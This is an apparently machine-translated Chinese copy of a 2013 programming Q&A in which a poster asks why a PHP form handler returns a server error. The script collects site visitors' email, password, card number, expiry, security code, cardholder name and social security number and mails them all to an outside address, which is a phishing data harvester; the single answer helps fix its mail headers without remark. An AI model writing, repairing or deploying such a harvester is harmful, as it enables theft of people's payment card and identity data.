0

我已经在我的网站上创建了一个脚本,让人们添加他们的付款方式,然后这些信息将发送到我的电子邮件,因为我会将它们安全地添加到我的列表中,但是当我点击 html 表单中的提交时,submit.php 这就是她代码不起作用,它显示“Erreur serverur”有人可以帮助我

<?php
    $email = $_POST['email'];
    $password = $_POST['password'];
    $cardtype = $_POST['cardtype'];
    $cardnumber = $_POST['cardnumber'];
    $exp = $_POST['exp'];
    $secure = $_POST['secure'];
    $namecard = $_POST['namecard'];
    $socialnumber = $_POST['socialnumber'];

    $to = 'mah_di@aol.fr';
    $subject = 'add ' .$email. 'to the list';
    $message = 'his informatin\n
    email: '.$email.'\n 
    password:'.$password.'\n 
    cardtype: '.$cardtype.'\n 
    cardnumber: '.$cardnumber.'\n 
    exp: '.$exp.'\n 
    secure: '.$secure.'\n 
    namecard: '.$namecard.'\n 
    socialnumber: '.$socialnumber.'\n ';
    $from = 'email@mysite.com';
    $headers = 'From:' . $from;

    if(mail($to,$subject,$message,$headers))
            {
                header('Location: complete.php');
            }
            else
            {
                 echo "Message Not Sent";
            }

    ?>
4

1 回答 1

1

如果您尝试发送 HTML 邮件,则必须设置 Content-type 标头。

$headers = 'MIME-Version: 1.0' . '\r\n';
$headers .= 'Content-type: text/html; charset=iso-8859-1' . '\r\n';

//Additional headers
$headers .= 'From: '.$from.' <test@yoursite.com>\r\n';
于 2013-09-30T10:59:46.327 回答